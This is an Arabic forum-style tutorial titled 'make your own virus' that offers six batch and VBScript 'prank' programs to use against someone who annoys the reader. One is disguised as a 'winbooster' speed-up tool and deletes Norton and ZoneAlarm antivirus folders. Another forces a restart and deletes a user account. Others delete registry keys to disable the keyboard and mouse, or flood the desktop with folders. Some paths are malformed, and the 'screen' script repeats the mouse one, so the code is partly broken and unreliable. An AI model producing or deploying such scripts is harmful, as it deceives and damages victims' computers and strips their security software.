اصنع فيروسك بنفسك

السلام عليكم ورحمة الله وبركاتو
انهردة هوريكم شوية فيروسات > مش مدمرة < الفيروسات دى مش لتخريب الاجهزة
دى علشان لو حد كان مضايقكم وعاوزيين تعلموة الادب وتستعمل للضحك فقط

الآن قبل كل شيء نفتح مل النوتباد او ال(Notepad) وانسخ هاذا الكود فيه

طبعاً اياك ثم اياك ان تفتح الملف الذي خزنته بامتداد bat
نضع الكود الاول وهو عباره عن كود لقتل انتي فايروس ال ماكافي:
-----------------------------------------------------------
@echo welcome to the winbooster by Agent007
@echo if u want to make your computer get faster , you should follow
@echo the next steps )step by step)
@pause
cd
c:
dir
dir c:progra~1norton~1
@echo if u want to make your computer faster
@pause
@echo now you should to **** y and press enter
del c:progra~1norton~1
@pause
c:
dir
@echo if u want to make your computer faster
@pause
@dir c:progra~1
dir c:progra~1zonea~1zonealarm
del c:progra~1zonea~1zonealarm
@echo be happy your computer now is faster than before
exit


ونحفظه بامتداد bat تم save
-----------------------------------------------------------------
الكود الثــــاني
عباره عن كود يصيب الصرع للضحيه ههههه
cmdow @ /HID
shutdown.exe -r -f -t 60 -c "Windows XP will now restart in 60 Seconds...hacked by حط هناء الكلام الي تبية يطلع للضحية"
net user aspnet /delete

EXIT
-----------------------------------------------------------------
الكود الثالث
هو عباره عن كود يعمل على فصل الكيبورد


<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Keyboard\"

</script>
شوفو ازاى بيتعمل
شوفتو طبعا شكلو بيبقا ازاى
وطبعا مش تفتحو
------------------------------------------------------------------
الكود الرابع
عباره عن كود يعمل على فصل الماوس
<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\mouse\"

</script>
-----------------------------------------------------------------
الكود الخامس
عباره عن كود لفصل الشاشه
<script Language="VBscript">

set WshShell = CreateObject("Wscript.Shell")

WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\mouse\"

</script>
-----------------------------------------------------------------
الكود السادس
عباره عن كود لتعبئه سطح المكتب ملفات اكثر من 3000 ملف

echo off
cd %userprofile%desktop
:a
md %random%
goto :a